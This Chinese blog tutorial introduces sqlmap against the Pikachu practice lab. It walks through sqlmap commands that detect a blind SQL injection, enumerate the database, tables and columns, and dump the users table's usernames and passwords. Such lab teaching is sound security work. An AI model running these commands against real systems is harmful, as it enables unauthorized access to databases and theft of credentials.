首页 > 数据库 >sqlmap的使用简介

sqlmap的使用简介

时间:2024-07-12 15:31:21浏览次数:16  
标签:sqlmap python 简介 pikachu E6% 192.168 sqli 使用

  SQLmap是一款自动化的SQL注入工具,可以用于检测和利用SQL注入漏洞,通过Sqlmap工具可以比较轻松的获取数据库中的相关数据,以下通过一个简单的测试案例简单介绍sqlmap的使用教程:

1.通过pikachu的sql盲注提交一个url请求,请求连接为:

http://192.168.10.69/pikachu/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2

2.打开sqlmap软件,如果是windows端,在命令行打开sqlmap所在目录,切换盘符,cd打开路径,通过以下语句对刚才的URL进行渗透(此时要注意,sqlmap支持的python版本为python2.6或者2.7,在使用sqlmap时需要切换python的版本),此时sqlmap开始进行测试

python sqlmap.py -u "http://192.168.10.69/pikachu/vul/sqli/sqli_blind_b.php
?name=111&submit=%E6%9F%A5%E8%AF%A2"

 3.sqlmap的测试结果如下图所示:

 4.通过以下语句查看数据库的名称为pikachu

python sqlmap.py -u "http://192.168.10.69/pikachu/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db

 5.在获取数据库名称后,通过数据库名称获取数据库的表,从下图的结果可以看到,数据库中所有表的名称在下面已经列出,由于我们需要知道数据库中的用户名和密码,此时需要根据表名,对列进行查询

python sqlmap.py -u "http://192.168.10.69/pikachu/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

 6.输入以下数据,在表名的基础上,对列名进行查询:

python sqlmap.py -u "http://192.168.10.69/pikachu/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

 7.通过以上查询,可以看到此列数据中有我们需要的用户名和密码,此时输入以下命令对用户名和密码进行获取,在下方输出中可以看到通过sqlmap输出的所有用户名和密码:

python sqlmap.py -u "http://192.168.10.69/pikachu/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump

 8.以上就是sqlmap的简单用法

 

 

 

 

  

 

标签:sqlmap,python,简介,pikachu,E6%,192.168,sqli,使用
From: https://www.cnblogs.com/moxuexiaotong/p/18298490

相关文章

  • 【C++修行之道】string类的使用
    目录一.C语言中的字符串二、标准库中的string类(了解)2.1string类(了解)2.2帮助文档阅读三、string类的常用接口说明3.1 string类对象的常见构造 3.2 string类对象的容量操作3.3 string类对象的访问及遍历操作字符串类的简单实现3.4 string类对象的修改操作......
  • JDK 8 之后可以使用更加简单的方法 Stream 流来实现排序功能
    //创建并初始化ListList<Person>list=newArrayList<Person>(){{add(newPerson(1,30,"张三"));add(newPerson(2,20,"李四"));add(newPerson(3,40,"王五"));}};......
  • 前端使用 Vue 3,后端使用 Spring Boot 构建 Hello World 程序
    前端使用Vue3,后端使用SpringBoot构建HelloWorld程序前端(Vue3)首先,创建一个Vue3项目。1.安装VueCLInpminstall-g@vue/cli2.创建Vue项目vuecreatefrontend在交互式提示中,选择默认的Vue3预设。3.修改App.vue在frontend/src目录下,修改......
  • 国产linux系统(银河麒麟,统信uos)使用 PageOffice 国产版在线打开 word文件编辑留痕并显
    国产linux系统(银河麒麟,统信uos)使用PageOffice国产版在线打开pdf文件PageOffice国产版:支持信创系统,支持银河麒麟V10和统信UOS,支持X86(intel、兆芯、海光等)、ARM(飞腾、鲲鹏、麒麟等)芯片架构。查看本示例演示效果本示例关键代码的编写位置Vue+Springboot注意本文中展示的......
  • Redis部署与使用
    一、关系型数据库与非关系型数据库1.关系型数据库关系型数据库是一个结构化的数据库,创建在关系模型(二维表格模型)基础上,一般面向于记录。SQL语句(标准数据查询语言)就是一种基于关系型数据库的语言,用于执行对关系型数据库中数据的检索和操作。主流的关系型数据库包括Oracle、MySQ......
  • 全网最全,保姆级Stable Diffusion系列入门使用教程(图生图、LoRA、提示词权重),建议收藏!
    大家好,我是画画的小强今天将给大家讲解StableDiffusion入门使用教程的图生图、LoRA和提示词权重的教程,如果你还没有使用或者安装SD,那么可以看看我的往期入门教程AI绘画『StableDiffusion』面向小白的免费AI绘画工具:解压即用,无需安装,超全教程!1、什么是LoRALoRA通常称......
  • Windows下,在Qt中使用OSG
    安装直接用vcpkg安装vcpkginstallosg:x64-windows这样可能会报错:error:whileloadingD:\vcpkg\ports\netcdf-c\vcpkg.json:$.default-features[1]:mismatchedtype:expectedanidentifier这个问题有人遇到,并且在github上提出了:【[netcdf-c]buildfailure#38449......
  • 如何使用 Unity 的 ScriptableObjects 和 Resources 系统来创建一个简易的数据库系统,
    1.引言问题:如何在Unity中存储数据?解决方案:使用ScriptableObjects和Resources系统创建一个易于使用和管理的数据库。优势:自动读写数据自动处理资源实例化和更改无需额外插件使用用户定义键进行访问可扩展性强2.实现2.1项目结构四个主要的脚本:Item......
  • uniapp 使用uview 组件 DatetimePicker 默认值无效问题
    1.DatetimePicker默认值无效问题 -- 解决办法:使用$refs解决<u-datetime-pickerref="defaultPicker":show="openDatePicker":value="dateValue"mode="date" minDate="-2209017943"closeOnClickOverl......
  • 【Django5】视图的定义与使用
    系列文章目录第四章视图的定义与使用文章目录系列文章目录一、视图定义二、设置视图响应状态实例一:HttpResponse实例二:HttpResponseNotFound404实例三:JsonResponse响应json数据总结一、视图定义视图(Views)是Django的MTV框架模式的V部分,主要负责处理用户请求......